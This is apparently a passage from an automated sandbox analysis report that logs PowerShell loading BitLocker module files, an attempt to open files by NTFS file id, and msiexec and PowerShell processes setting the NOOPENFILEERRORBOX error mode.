Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Tries to open files direct via NTFS file id

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
